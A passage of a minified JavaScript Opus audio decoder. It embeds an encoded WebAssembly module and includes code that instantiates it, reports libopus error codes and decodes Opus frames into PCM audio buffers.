¯ ÿN„ íͺzs…WJ$c+LîjüMoz…ñP= Õj$krŠ1"ÐвÍyð„uŸÆ²ï82NfÊ:O"z«6 Z=M²:ÊŔJ…•µNðázfAìܳcn‚-ÆlSÉb± ŸÙÙÚÁÞ&‡É:sÒêÖQk‚¸l-ҌpœPr­¦>6º½8(—À™Gtƒ΂sª¹×¼ÐâSr WEií$E¢UêNv.q*ª~$\*w¡´*âóuz^¥6F™ù_6¦ú vG‰·²Ú7‡çêwɐû$÷Mʺ‘\‚‚Ðÿ%WÇ 1ThÁ¹âþ<˜‡=M"¹»<Â1TLŒ¨‡ûFŽ‘1p¢Îð@”†çãÊò!d–g–'“: ¼F8Ø3ԄF—ÄG²ÞŸÚBŠ…@ÀÙG7ÖÜEy£J-îÀzˆn>Ä0D5K­M}4:‹sɀL3šÅ„ŽoZ-/³Ñùˆ7z„¯e_fÐU¤/ZÓüE‡ÂŸèÚþzþ-{zÚë\À=MhÖ¼= Gc€ê’t²Oek:öÅäªå4*•‘ê^íùÙi½<{é?<ۛwñ¨ñ¨ñ–zñ¨‘
1Ƭùðžv”v97«2j€¬–À.:dÍMzc‰×8ãCqU¾7ºžóv¢g‚ž+©Wœ.‚&?-§bÍ2þ¹šoÄ= gfì0Ãm’VÓªá:å-¡ÕU½4:ž°1ª ûy–ά•wwáÀª¾qÁuçõÝþ|˜%W0s3ÈY†á&Þ¢»h>éhotÚYUÌ÷ýÓSN¹¹¥ý¿áׯp~&ÔTj’ÕŽR¨|.^Fyiìÿ\ÅÚª”œrÕò™q¸¦~éÿÑê¨'ó®IÜ٘•IÏZ®›~Ü^ºvýubq‚sÞ±þԊ½F¦’áØ®€âH⊩— þkJÑ9ü|Ё/÷s¹Æùoª‰2Óþz·”®ýÒÔ¹·,ûJ9woE[%‹;Áļ¯9Wƒ}ªK&н$”Z *K‘™E¹Œc‚ZÂ-™M@«ªI"÷²?ª
€«[vÍÚ©mènÅX*ÞÃÙVˆÙŒGrò«fÑ¥´g´Ä¬c9R=M³9óN
À1?a9Ùûã_ÌÂÎÓnrÄHsç‡gÀÀ֍#í† 7 ¡õßlõjÈuʯBT"Ðü¾Tµ¡M­[NԖQ¹¶íc«!9§)•!ËøqB¢¾—uQ ä͂wiùªyÁÊ.ôŒ˜»)²@W‰j4}×=}ÆSîòÓƝÙie!MÁ6…cô–ý7­iÐ=M#’(h —e‚• ä‚ —fã[-·@)ÐOèç*ŠÐ·¥éÝ4:3ÀŽöôÕrÎ¥ó™~#Òp÷G瀴˜hÎzŽ=MưóvkîY8µ½MV û ,Èçè¤ŁeÕS¥(҈ÿ¶oÎqæÔ¾rÖ$E¤œÍQaw¥Â㑏‘ñí7„f#qÒòŒ-ëÈçë±qj£b(v”XWÓ|þ:uSë%‚b–ØÐö+g#ê˜Óx(€›rˆÎö”·øVhY)Ò/ÛòàJµ#,# ®ªjÉâµT6éRy‰Š)ž4ÀyiÈ*b= ùZ$8Ÿš'"ì>'ÉU†;¢Aë4¸»?*|ù£XŸ11|±9mÃÜKzŸG,5K€-\¯™HœsÇã¯SÀþóØZ5¡SVÂLGF‚cÚtý&N^7³²?˜xL¦Þ€/°Ã끿 Lr™Ã3‡ˆ×S±lñÃçªÆlÑ‹)\ É¿êA_‡—^œá—}üjM5y…óœd ¨ßϨPÅ৕^ $„dš¸dà1ôÏcPTh±m©À[§ÂGîTméêά$ÃGÈæmñ9_žFTbD3UC÷²O FQS‡Q«eQëªM#WKÓsˆ]<Î0=}f±DXP#ZP3)íûÇ:C‡4‘j=}P²@]YFïùKó.›
Ú=}-
GÇ>¯—<OÎñ¨öüöì¨Uúñ¨ñ¨ñ¨WÈ":ª *Üz:4š *ÊúE¸:cg:é4|Ü nÀ!rPýŠe'áKô‹ÜƒÀ´EL<Eöe¿£4‡æø¡ÝaÕtџaøöT6úa·ÊÔÓmÈ;NbæÔ° ́÷ØÇ÷8©/e>
ÞGsÑn«ÎÙhŒµ –%$ïƒT‚XV)¤ôàˆ†ÄàU…/7:.cƒÌveù_æ‹øcýdæÃÒÀƒhŸ8=}I¿P 2¯y âÕw±žۗYøœ¿šINrŸž”hÖt”xÙaÔW’ ¹gØù°=MÔÔׁ)õ±·†ücd§&ڇ)¼_Q”_LœÎ³=}™æT®jÉ+¥¬çìÊ ·‰G₎¡ºO.Ù­ñ§_€+hׄœpÂ-³­C"‘?ÎóvÃ4â>T°n»Š8Œø.~2ÒYú·“4Ööº÷ó/Όwc2üØ»"©_¬0÷Fz2vn£ØNÊ¢t=MŸã>‘ô1/CñÞµšó‘ŠS1þÁ‘çï řÞ6íqäJçµnìj…(¼¬ˆ²ùVõlûðf°æ±ûð‰c®uMÍ <òQ(ijѬF+máp4°– -}FIª‰®¤Á%¸N…g§À»wí£Ã(%5Jè€Æõ˜‘Öˆð“,ùAúb‘¢~Ê¥×õ“@ú7sçÿÝàPkÐ"/íiþ®=M'ُÍõ腋·†l‰Ño“3’­±7ÍZ¢ù͚ Ê:&Øf0—fù϶Ú&%ʀŽ8¼G譒•Ïú= œê†ö*Ò  æF­51””¶%Ï?§zi¶RYÌz^J…ؽ¸fŸò“/\2¥ªÐÚr7.&Ÿ-í›EtVù•²•_Vg!Æ)7§TwªÁÙež6‰Í´†øŽÞàÿLÍTq}UGͲ5QG ªÌ'ï Ì֎öž÷¿jÃËúp½ÿºëò_¹¯Lғvä³÷ê×#=M˜ˆ$[@z•»ã­œ’XŒêaÅ1Z¾;‚æt©±Ù).ب§q¹óhñ¨ò(ybJö'hJ:ø¸³y1¬b9ÉeVM]°4eSøO͎*Cxæ@ÅýäÓ¸ýoÐÈýÍ(Æ@H"¤}
õ‡Ü‡h{“g¿¨À~¿ÑxX¿u$õˆ+ãpq¬˜§i)çïQ½fï×Veyˆã-Øîî‰6¤¸ÏÑo…š–•,ȄÈbýßJ @=MûHn= 6 ˆ3Q¤ľƒ²„%֕bèÐ)†"öúÑ=MUàß¾¨Íö}ØâÉ#ýÖ 2ÚNB­ŽL·¡xY[Ó-)2,–”·ÁåxZëÐÒU3+ â½³ëŽ_z«xÙ
I„2ٟ.l€÷ô×BYc" Zâ¬Fø”wj©i™î»v—êåj"‚è‘,jT¦´ü5H—óíÔ9.ð²,&™ô–<9£œ™ýÊ,|j‰-ÅñE)l¿.¥Æî—:=}ʃæ!¬u©ù3eê·¾òv¯Örnjy:I›÷7!zê³6º·2(÷$vi˜9z×:ý†‰r+¸z3Õ°ú4tˆ7´|f
o¨BÐ(œ=MŽ@ªœ7ˆHˆÌU+ç ÿ lXÌìáNï*½Çé#’Hax몙Šg5F²˜6Û£–š9J¢½B[¹:{3°SÇt|~Ûð®ci:UÁfÉ^Ûð³_ʂ|––Bèί ËYú&žs~o Vœœž ¢N£#ÔÜyWrÑȁ˜S—¦UƂÁ,i¯=}¹ŠÖÃIBhÛ¬Me董S©¾&1=}ÿn3‡a÷𦯱ó¯Y(:"»¹zXÜÝ)ÇFø˜KwýPbÇ+­çv)“µ›ùDh-½^.Á›(¾ª¸L©%¨ºó2J{ؑ[¹:Dÿð|+õLÇ׎\Óó\O&þëdyWi=}À~]œ2vM–逜£/iÅüƒ"“/Åþþ¢¬K²ž²¡=}=}‚b}ÓCþ„«‡¦O7´Õ½†\®‡þö*¤sú¤Mu߇žuÙè{ݐa·Z Ž¬Q=}µ¡^´ŠqYI±ü3—·ÀÐgJôe4£ØÐÊ¢ØE ž™<‘£P]¸•\QñOݘ™Lߒ€óO“Ç9"Ŭÿó?†ÒÐÛ-ªD/^†,ëíO’6ÒÜ~¹T…&›q‡A(—T}
‹”Éݛtl àWje‹W⻵@·)dëÛîMåñ…WŒA= ±e,î|Äý¹]Gç¯JRœgݟìÃzö'Ìg÷i6nLÚzÃ9\݂.z7ÚÃJ¨]ø9^=MÉr]ÔÅ__=M-G̅ˆmé’=M4…%ŸÝ_uæ[º²@ô„•‰úòƒ¥fÞ¹ õåÏÁd\hðM% ‡ €ïjóË÷^F]_Úŗ-ã҄iHÜHJí£6Á‡íH
[ â¯…ź>·¤Ÿ¥‡†]1i¼!†ìÏäR~õc=MúW|öÁŽ»¦c¨hDáôV>¤óŠ€r¸¤&NªÍÙ´=M6)æÐBد¼^= ð ñ/$Ò+ŠÒçyÍ12كŠÊÞT|ž¾T0dqÜßQ~UšáŠÖú$ àӌ¯áµs(Z…öâGÝv²6Î6ùŸÓÆÑ)'‰™¯\”ꉟ¤æ„è¥/±¡Bm¬©žLôºÔ1
$–¡®/= ..3šº°ÒénY—Ù&Ú¢tȐ' NçtKfZõÂhä-îGÈÐ'õ€ç£Iv¸§eæ iž^=Mn”Ê“¡Kû•ÂvîúgÓ)´^ñ¨‹¡=M¾Àïäëç¿
ýt$Ñ+ã&d”µÜ´0OÜ¥ÚÊËo³Ûëõžèȉ¦Öî= 2e‡W®æ})’´Ñ&„õ€„¸¢†%ß…iȇ¸c´²5\6¤«îø4*6^31)¡·ÂØHŠ×ø!?.æÖMó*9W)¯‹üö?‡"V¥!-iQ†³
æ³íÉ#(7üÌøwè(kr­wZ‡!+3@93€Xé­ÎvHô
FˆÙ-Áì0÷7xzn-fÚ,bš6ñÄɧBF–PwYÝÉðzpL™DúÒ¯€›£J31&Èæ6š4;kYǼrÂ]n¦?1奍˜OGm{0•^g(¨Å$! 8uAb¸^£
r–ýA”nSaýQ®ú^ÛÚNEbóÌâV=Mþx xF‚þ¸û÷7ë¡};É1H}"›—çC­ s©“]9¸OgQû_Id¢ì hL¥Í+Œƒ|8é'Õ?ø¯?)ûëjÔcãºI1Q] ™Yÿ4³öñ;ÒQ}tôCfƬí?¡%à‹˜Å¹mgnË܆ØG l­¸j‚:o@Ž@§ØÐS÷ˆÄfúÏ+]ÐÄsì’ÿ%Ö]WyÄsg‚Öƒ%€•òßf]”‡Œ&L@ „tTiÏ ²æmõŽŒ}xõPêÄÀ¯²·y¤¥ þg5¦Ù|Æ¡ßÌ ŸEsÔ{ÑÍò¦OtF^PQ‡Î8d¤ør€ê«âf$ o¤ãx8x[Ë(‹†%ÍtÉçnÞÔ6G$AXݽϤmÃi2Üiyd0¯‚…*߁á.9žŠ*oíÁr‡·2Ã(s´ÈÅz÷zY¢Á¼öÔ°ç0}Ñ4µEö‘Ö r5l®Ä'1Æüç\ã>ƊøièLï֘À|e¨ùRB’aEHÐ¢MßÏãØª$Äß=Mç.Œ·–¼ªnD õ´÷"T·ñy)5¹’ùÊÊ(·ÕJϘLr4jŠô*2÷5=MŠù#¯v#Ñå~¢z>õ8‹ŒySæ É{Úõ«:£¿!ÓrYŽØç µÐÜ ×>兘ۓ&¼¤æ¸kgz;Ö0}Ë«]WÒÁþwqIM,[x@UbœG'1ÿôÃê‚(}/Q Ç“‘ÁÛâm¿p /|¼éBÐc«Q (ë3º(z2é¹:ºoû;@՛S?¿G†S‰kž«70>³r<ÞaåUGÒ;BAi¤°óGåÅ¥Û7BëUi~vJ;ãG}@OUm½ÛXKÁnnál!kýŸKe[kWG¼ëÃì½ìÉìÔLs4F³SÆAvÌ{¾š—™„€ˆ˜Ž†–‚’Šš ÿ=M  ˜~Œû=Müj[cowmuai\dpxnvbêÛãï÷íõáé|~—zswuil= hnvúóçíáéìôøöªϤn¢
š÷§ Õ°VrfSu5€a¢Rð¯/‰×u®9=MVñ'3r)w·58Ýő9Ä@ð؎!i–ò¨*Î"ªy¹84òÛí¸“‘°2ÇàV²Zx²(îòú_ øÞn†Võa•óÑØ6‰—ó¹*$&Jš:Fãs!p‡Óú±"Ì.rZø5/Ɩføœ5Õ8RZ¹7
ä(Úð³4³Îæbg±'Îʺt°=}F6‘Wó15zöœ8½8²ùîTòèu8Řz÷µ1Éfª‡Mv˜3û¥Ôp8û®‘&7´âyîÕâŠ8»á«ôZgɐ&Zësª¶@†ƒJۛ<K'ô®áP¨ñåküJ{«974žñ>Óëâ@\S@;ýnñð±æ§ñ(ñ¨ñ¨+ò¨ !5½ÔTT7}÷‘‰Øu°û¼jÿ¦°%æâ‰(ØLT7}÷‘â™ÃÛRðõµ$=Màނ²‰ÆGy0™âŠÚy³«ÏÃÛRðõ¯974^‚±‡ÈGaúºM:‹ƒf‰ÍcîKúD²àç?–´=Ms¯]ü‰oÓÄ·‡= r•ÄÈÿìÎRˆ}j©ÍÔ!¢ašŽØb„' ˆkÃÂO²Ü”
o-ÛÈsƒUB4 SïgtW¦I-ºô­ç= Á(w¦=}õ¬Ð‰prŽ4×¥©ðU–„›rêÕ½¹àë®h—ùâÙ虍
ö¡›SŠd(†îϤ!ŒÖ¬ÏGI.ä=MՎŸ°Ï”TºÃ«ÐLç}–ó¯!M\‰m¿„·} r”Ôˆÿðî҇…ª©Œû”Q›Q‹˜¡R„((hmӂϫÌ= “ÿjo1ËÈt•B6Óï"W<Én»¬·{´”Ù°ÿïø"‡ƒ²é̤!œUš‹¨‘¢VD()pŽ=MÚO¬Ù€ÓJ²Ú0‚…6
ÇG"T —¡TÑ,Bx¡®ÉÌ ynU¨sˆq‚ÖÈ 7҃’V¥ÝÞFÒ$Ÿ®mԊ䡿ëÔ³±,í#þ¨Eu½!–%óu'aÔ¸÷¨uÁ+ÓÍiñ_Æ4ÐaYñD„"KZVÆI×b ,AmÙJäµfëٓ±+÷Ä#ü°-u÷‡"†¥óU§bÌx÷©eA«ÚÝ òc.4ÌA)ò<6„ ;*ÖÄLwb Áí×z¤¬–«×‡É+ô ¤Tív'ǺϰȠ”~¯µ3¯ Eôםiá+TñKé™lt¸ô~\"“Ãt·‚˜2“Òx_ò겇
‹Ù‹= ÑDú ^q C$X%NžÌF?tü[a+LP›€qKəklxô|y¢ÓÊT·€ˆ²“ÎX_ñâr‡{Y‹@Qž<z >q;äX#>nnͺL!Eþ“üšï/¿ht|¡‚5j\eGÃ¥6&zf꺾ގyTTQê28ÞºŽH¼°@{ë±VñĨñ4Œñ¨6(ñ¨¡)®TòÙÑ$T˜ü¡ôO)”„ýÁµdOyGNùv„œùœÜ[:•=}Âýxý*ÔM¯Žó]'°ÎÛ¹v\,çSf’±âÎä'´fЁ€ëàƒLyҕ ((3s؃ìXBIB¾q×¹Í{ørñ+ڗ-·½¹oâ@® /]ãTªÁGà!7a³:Sˆ ÈÈ£gÖñÝA—Õ|ðh0£®ÔŠ˜%랍5OŽÆø
‘ŽïH·ØrÌe¯Q(Ûá^Ð3ºSÏpß=}…ªJ=MŽâ­ s|²…¬W"ƒ™½¤’#͇lyÑÝÁ”À“˜:»uæPÛñ1TÈVÚÂÙÀª/‚I‡Ýy Î/§‡ï7|’òŸ±#m˜mÛ,ãFjG…~.¼)wº‹Eù)•–Í —Ò(©aÁ;¹6x)z™ÉfŸ¬½P“ ÃÁ¥æmºÉÿ¤Fp±FÄæUwíŠcÆïô
[S¥#,4F<C§ûš’4ü
Óâï3DŽQ÷øœOœüN¹´œf'Á éñwl@ÀÆ(:l¯Z?;ÿkG>Ô €h2¶ïY] gªp¢Ù"–9ÓÇØtÔvU U£Ê‚÷nÎ\”aŽíˆŸØyX=M uே$×)þ[gÁ„GÞëU¡œrGþ-kHþsçJ.ëºÁ$»;;KC}“l:厠›‡¾ïÓa¤nÈ=M¥Õào‡¤Õñsèâ´ʼ“SNìl ÿ SÅàlP–žg—'Èü“WÎìtž°)SÉ lXžw·'
>´œÙV.ƒ™t
Ø.‹™uŠ è.“™v
ø.›™wŠ!" ÷5wâÓyCg;œS»;iKKÞ£ý•6©ZÇaj¸²4¹±8
é"0µ±øÚ˜&즸±(é8°Y±ØÊ˜" 4°Z±ʘ2 8pJ±˜.7pбҘ.¡7ÐBö-œ’™'ʘ´ífš± é7B±0¾˜¸œ’ºb±0Ƙ¸ž’:‚±0Θ¸ ’º¢±0֘¸¢’: ¼˜y À˜¹ Ęù Ș9 ̘y И91Ó"÷¦ø¶èœh¦•Y1íâøØü”×× ”Øü˜ ˜ûgÿ§ç' g§ç' [FԁíÍÔ'Ÿc†Ô‘íÑô'°{R¯}r¯’¯²¯ƒÒ¯…ò¯‡¯‰2¯‹R°r°’°‘²°“Ò°•ò°—°™2T›¼DqSœÀT±SÄdñSžÈt1SŸÌ„qT Ð”±ngüP»kGþ U´•1-Êwۈ§$.7÷ºùz:Ú. 4"ù®:Ô"Ò´nº1¹r6bÊÎ÷͚-‡ùv4âÊ/Îù=Mš5‡ú$v8ÂÂ+L™ýгEšh7HÊþ"+u7I
þ2+y7ÊJ3m9NJ3q9ÈÊ"3u9É
23y9:gD<»{;»kÖLýDZìøf<†J=MÂ/]8ƒŠ=MÒ/a8„Ê=Mâ/e8…
=Mò/i8†J/m8‡Š/q8ˆÊ"/u8‰
2/y8
J-Â7]:Š-Ò7a:Ê-â7e:
-ò7i:J.7m:Š.7ñ"ºú¨£z Ú.&7vz
.67zYÃJÀ3\ÙÃjÈ3^YĊÐ3= ÙĪØ3bYÅÊà3dÙÅêè3fYÆ
ð3hÙÆ*ø3jYÇJ3lÙÇj3nYȊ3pÙȪ3rYÉÊ 3tÙÉê(3vYÊ
03xÙÊ*83ºí—B@;»{K¿Å´î8–4¼QB!B.À4þ·¹lÓº‚-η= º¢-Ö·b:Â-Þ·dºâ-æ·f:-î·hº"-ö·j:B.þ·lºb.·.7.·/7/·070·1714)6?ü>}[;;;ëØ¨ñ¨ñ¨ñ¨ñ¨VxÜÈí5•&éï%U¦êò-¥¦éî9…ãݼqµcÞÁau#Þ½u•#Ý{„p‘Š ‚¸’†˜PeàՁ$àוÕ$ßڅ%¤àÖ]މz&Ήx'.‰y(® zďmaʟ=M_·ƒbƗM_Ô¥Á!Ô§ÕÔ!ÓªÅ$¡Ô¦ýߍcö÷͆fî×-†døç­†Ï3&ªø6=Mæª÷8êø4 6jìA'ìUÖ'ë
E&§ì½= ’«xҘ®X2˜¬h²˜ó¥V¨ò­¦¨ñ¹fèò©ÆÑ{@>§+{AH‡«ûB@¯ëû@<ÍãÃhÙÝÄdÉ3ÝÃiÑó]EpÇëþFtïkþDzÏ þErƒÞÉl1³^Êq!sÊm5“ÉSì¬'>Ç_”;»úõñ¨ê•Þ¥§ñôW¢ñ¨@"Ó¢ÿ$èP.Ï’ñZ¼4ôôDk r­Wkt’7"9ö= ¦î»÷nº™P>.mJ±Î}HQ?Û\ÂQWÃ{ŠDxÓ¾½GUë\¿_E#ûÀSI‹ü;MÙ'\ЕgD_ٗ•¬_M>à/Åj…m¤ÿыÍdßN’tƒ= ¾+j¤œ€KD ÁNŒSdÞJn7‹Ì€N±¿ÜàÃiÃKG\ָߎÊpü_͊v îÚ­5lZpožŠsuÅ$ؘWá՜»ôtÆ_T›ÅB-ÆF‚¸¸êsv5½n¢"’lëg|Cölü<Z]‹›¼F<ÿÛ|ýQŠ}¾dÉ3MÄM†—D_ѳŸ€S¶lþDz݋œÀV|ÿÌ»W¶÷D¢Z!sŠo¥ç¬bӘ_ͯ!Ua<ާËÚþè6= &ÓÙ}K¶C;ۀšà  Nh¹K8.•;™ üBSyLÆa8ô!JD„ï4˜±ñfR(€‹šHº<aŠ{.V«+n³ ®À‡zþýýøýèýðýÕë_—j'CVýhœw¢Âêyvø"…ÁžJ…úÉUÉVÊTÉ$ʤ@8ìÅçÅ'Åçí'¼9ÃùÃdêdê°–§YñµÿìFå”Ï­nèٍŠ= 2Xå„f„jd‰fpÑ*ªƒ'vMlQ•VØðrzæ[ò_øcè3«”¥ • •¢š› › åõÁ.èq²“x¥9½ÆQʓõzå%pT&IâÐYiŠh
ehäk‘%ÖMÖΕÍAPlFü9ðœÔì Ð„èŒ(̘ì>œøœxœN™Ž® †i«Þøñʓx¢,í~Ñr”ôyÕ°ócøë[ú“͕׍̙Ò=MÕ é%’/äo2ˆ€'?i4@¢€ÈSvÝö^Až>}Á>ÊA ?hõ©õš(­Þ"ð™²õy+ï(‘vñÆ1©Ê%5=M-E-f-Õðpdp6VŽ޵~ń˝‹xö¢y7Á»°ûC£=M|ÁKa۞á˜Â†×ÉÙRï·×ÜЄSÉz]”“usöõ¶³´6354B??A@@Æ7uÜ"Τ…!­ãã=}ҕ³öYÕ[ßPÑ[àXÙRgu{jC^ýÏ;[œó8d5ЛD3:9ä ÷ÐüWë?ç·iÉ»nEó>Ù»rF3>¼{k+R¾/OkDM¾<«¨*ªñ¨wñ¨ñ¨ñ¨6ñY¥wÒ_͇e$ŸÍˆi4O‡d ˆh0o=M‡f(¯=Mˆj8Gmc‡mgVîdÖî= –îhî^vîföîbîj6®[B®c®_‚®g®]b®eâ®a¢®i"®\R®dÒ®= ’®h®^r®fò®b²®j2.[J.cÊ._Š.g
.]j.eê.aª.i*.\Z.dÚ.= š.h.^z.fú.bº.j:n²é4îËg tf”•NƒkÜ¿N„oìÿ΃mäß΄qôŽƒlàώ„pðƒnèï„rø/nkÞÇno1‰õ҅AÌNôPt$ø§ස'wvþð7„&·n ’µRÓV¼F(Dšmõ‡£—§¡ilnuÒÕD–iÎdâi.E®ž’€émŽ1—hÎp!ÿÀ¦((uÔèrb)Gë²¼µE͎ë~Ȓp±ªÓØEò²L±m=Mف£÷É0”×*8aüªN8bºÎØ\Ëýo¢ávvþXÔ)­¢Éö®ËâÑ·pPåèƒÈ¥h®Ô0[Žæ/èò•x$ð|
ȵªÑ|ÆgŸ=Mi։T°傡¸í&ÒÛgŸu]lTʵ!íÚp¾ÈNn§ñkÞ襦n'ñr~~W‡²p³ŠîÙ)¦¢2"{êJ1ÜùvªÉ/Þ8"“:xTbu&Ÿ¢Ù%'n¬Ñö ¬"´)ù{HRæ p˜éñf³È•êŽ.H¥ú”Jò% Ixàò/³ú™Z.^µº‡AФÔwbÖRŸ/íç™ÐVí–Á*->Ô¹gŠ 7Àçrk‡I ì_œO9åBxÙsä¢nñ6íñ¨E¦¨ñ(™ñ¦¨È‰út7º½ªº¼æºBB »<?sQãK×SATÀûAÐ;ν—Q¥ 0›
=}tZ÷= [Õû¯û;³ÞêBb©<­¢«2>:ck~)—Cé<¬j
»·J×Z{ÒûDÑFW= ‹C‰w‡[
M?òÐ0Ò@!‚|i¤q–#ˆg'ÞgÐQ.QŠFnvÿõ\÷,K9è\‰7g¿çIéXœޜ­:ÀDõ]Ã^]J€ËC ƒO¸…O.‰Ïì4q |qòtìaÁb‹îÓÞÊ1=  Òbëþ„9„÷JÍÃpŽÓBŽÇ臘ØÚÌÿFmg)@홼ôõ½…½ÂeL¦’œºÀwßUb”¾ùìAîhžzהÂ%è"ÿª%Ì"pKç\Œ= Ä´›Aô~¢± }:zF6Ž"¨xR sJ^!n1,·÷ÂQÒij/]ÙÆ¬r˜½zõOîǗ­½Ðf,fì–VÌøˆsæpÞr¦ü'Ó©þôÝX °Ï6²]n?>xã>µl0Ì6÷Z²)[µ\'ÁÌtBªXÀóµ?ŽS §,÷p+Ò萺¨Ÿ·˜ÞþjéÊÔ˗£ž½nq|G6ùÌV§Ä.‘#îòü/ª’º¶×²¨ìnb'Å7›r½æ1{XóR¡ŸZ­n2þ*ÊM«î@,C3l‹TÃü.ûªAܛ4‘KzW/€ÛÚÁ3ºë÷Ž[a@9&½Ö–h’”ãô\7v~ÿrH®®]½5[½¹w-§*K$?æ%uFóì_G2ÎÁÛÔ‡E×VkÓÔ(pŽsÔH‚Iby6œaÀÔHEnnnnî
ÕÕWš’¸0922hPå“c‚A3åWã܅›·G»ñm=}ñ¾D=}n “;˜¡HsQkBs>5#AÕɻҳ;®þBÓÇi»äKÛý¹BïÝb«”ûIǨÔG/ýgIQ;ÉY;'*•ÛRÇ>á³e‹fæ<â<o¸T[:H»®²> ¬CÓ¿®{vAñ7@L»Î…LX§ÄëLÀú@[©ŠZ¿!ß\®;ý‡t¥UKŽïUœTÂã ÒK6M¬²?¶Éû6>CõuÉýBMó轛’è]#¿^?^¹}‹6lĦu̓V|ÝL¾„wúÌßÙṙ >ÍñŒE“¤R<IL«Öæ?/ãa<Ù4—ûUãÀîC\-gR2òDì%ÀË)g)âÆ+÷Ô]%,´Luœ_!ÿ'3•l ócá•„ó©M× …„#ZU›uº±ÑÝ.àã€dÙ”øÙgž…*£œÓ×ö{É]@²wŠ|²séûb¸Ð§&=}= bã  e%+†PI
l›5˜p›‰U–âGäÄL#+d^©®çlV°SêlÜ2øm‘Êp= A¡ç¯ÔT˜R§ S™mâeÁ•›àä= •ïþM€¡•œ‚§ˆtªî¡m.¨#ÖÑ¥±¤pypÑÆ* ‚21³D±œø>¢Ô(Ãu³uŒD¢W¯ÔÄ'ºêÐ;eV;~Z»;€= »1A{{s½×ÂC%rN›ÌÛQý%†]ó|›KªÑüÌڅ+¤n½BâüޅH™T +hæNç¨1¾€œË7–sËVŽüê¦d¿õÉ>õÜI5ٖ>žWI¾ÌÂ+ÿGÞ®äY£=MƟO$uH€"pÜtŠc·Ázìø2£œ„áH´œØÑ/ó¡Ò/Ow¶ö‚Û‰FQ1'µ‹Ã6áÅÁ·RôOë<²­_¾µ°ý|”ß/öb=M†R©¡µg*5ыI6#ÜU²¸Û<n2ÛGºªሖ‡EW]ãt¿Àl¸-{+‰&å¡°ð3éð³¢ú¹Ù'7äö¨"÷ˆøýìØ‡èAµg#wL°ê7=}=M˜‰BФC&hé#ñ4ᙴ8 &2Éósnœæï î%í¢†-귐mœ|–h*¤–WåØ;AÀ>
@3Å[ЉûNhDîQFü*Ý?uJûØ6ë
A™§²Âœp˜[ô’s‹šFû .oCtï@ݘÚý‰# £=MÖ#ƒ‡wìîxýß½GÒÿDó|Ü}5jìÝNȰ5EÇ>ïvßøN’À‚ªfÈÆHøýˆ §åpª­( øç°ÓX–*)· ©T0œ¢Ç‚¹ÆÑB¿Ÿ¤iÅ5mtímhâ¡'»BNiÇ©¦=}{fLÐË+¡ùC}ØûÀÓ}qb³.x;ݎ<¸Ø<圢›‹ÆrEØø>¬C䇭‹ ·|ãKLQfäÕ6˜5av„TõÝýît›™Ð"¦6Ál¬¨6ñý>HG8  $  —=MøÄƒd»¥BGÁØÇ¼¹$=}¯ŸŠã)uYGz;žC}pd¿\|‘6(L=Mf_ï#ß«WÞ¥§fŸp@0N6‘
Š'¤sªˆQø÷Õ¬Åq¾>.øü·¢D5³T…áhÅ8zDvO= ¯óÝyàÙåFÆÒ•çcËóŒz?Ê5cèŠ–úë.ÌðÐޛ~†O Ë|¿Ó˜Q§ v)BHXƒš6œøöDއ¥„˜ŠkÒÚa¡cÙ7—¦x©nº¡6¾}®­iÏ<ÎWhš‘2 9's"IɎ<»ïX\#F\Ë_4F[ eŠÚ ¸Šø¹2øH$žß9_xì9i 2µšã
ã/¸Äyf"Ÿ5TàyÊ0îEê²Þ—€m6ëÞè6ðÏâ§9ž¬„k=}¼àt<ž‚¦Mdžç6"p_î3, oO3p"pw÷´/(1ñøs.íA/&ÏUÃ_X™ÍpÕ1hÌ80E’Qö„
ow÷!x.™AÜ"¢j+惡¦®ä“R–ow÷!xꔊpn…â#ðù
z AÍp\Ž0N˜HJê´ªØ^U
I€wu¸öôú!3å6³‹âVq£³¹´RN£%y10º:pŠ#\:J:b9Hµ7h_Ž:¢I9 _¼™µV,þ <`});var d={a:l};this.H=t=>{i.H(n,t)},this.M=()=>i.M(n),this.instantiate=()=>(this.M().then(i=>WebAssembly.instantiate(i,d)).then(i=>{const s=i.exports;var h;(i=>{o=i.i,a=i.j,c=i.k,I=i.l,u=i.m,y=i.o})(s),h=(H=s.g).buffer,e=new Uint8Array(h),new BigInt64Array(h),new BigUint64Array(h),(i=>{i.h()})(s),t()}),this.ready=new Promise(i=>{t=i}).then(()=>{this.O=H.buffer,this.v=a,this.free=u,this.R=o,this._=c,this.q=I}),this)}function M(i={}){M.errors||Object.defineProperties(M,{errors:{value:new Map([[-1,"OPUS_BAD_ARG: One or more invalid/out of range arguments"],[-2,"OPUS_BUFFER_TOO_SMALL: Not enough bytes allocated in the buffer"],[-3,"OPUS_INTERNAL_ERROR: An internal error was detected"],[-4,"OPUS_INVALID_PACKET: The compressed data passed is corrupted"],[-5,"OPUS_UNIMPLEMENTED: Invalid/unsupported request number"],[-6,"OPUS_INVALID_STATE: An encoder or decoder structure is invalid or already freed"],[-7,"OPUS_ALLOC_FAIL: Memory allocation has failed"]])}}),this.K=()=>new this.C(this).instantiate(this.ii,this.ti).then(i=>{this.ei=i,this.Hi=0,this.si=0,this.hi=0,this.ri=this.ei.U(this.ni,Uint8Array),this.Mi=this.ei.U(this.oi*this.ai,Float32Array);const t=this.ei.U(this.ci,Uint8Array);t.F.set(this.Ii),this.ui=this.ei.I.R(this.yi,this.ci,this.li,this.di,t.Y,this.pi,this.mi)}),Object.defineProperty(this,"ready",{enumerable:!0,get:()=>this.fi}),this.reset=()=>(this.free(),this.K()),this.free=()=>{this.ei.free(),this.ei.I.q(this.ui),this.ei.I.free(this.ui)},this.Ji=i=>{if(!(i instanceof Uint8Array))throw Error("Data to decode must be Uint8Array. Instead got "+typeof i);this.ri.F.set(i);let t,e=this.ei.I._(this.ui,this.ri.Y,i.length,this.Mi.Y);return e<0&&(t="libopus "+e+" "+(M.errors.get(e)||"Unknown Error"),console.error(t),e=0),{outputBuffer:this.ei.P(this.Mi.F,this.oi,e),samplesDecoded:e,error:t}},this.decodeFrame=i=>{let t=[];const e=this.Ji(i);return e.error&&this.ei.D(t,e.error,i.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=i.length,this.si+=e.samplesDecoded,this.C.W(t,[e.outputBuffer],this.oi,e.samplesDecoded,this.yi)},this.decodeFrames=i=>{let t=[],e=[],H=0,s=0;for(;s<i.length;){const h=i[s++],r=this.Ji(h);t.push(r.outputBuffer),H+=r.samplesDecoded,r.error&&this.ei.D(e,r.error,h.length,this.hi,this.Hi,this.si),this.hi++,this.Hi+=h.length,this.si+=r.samplesDecoded}return 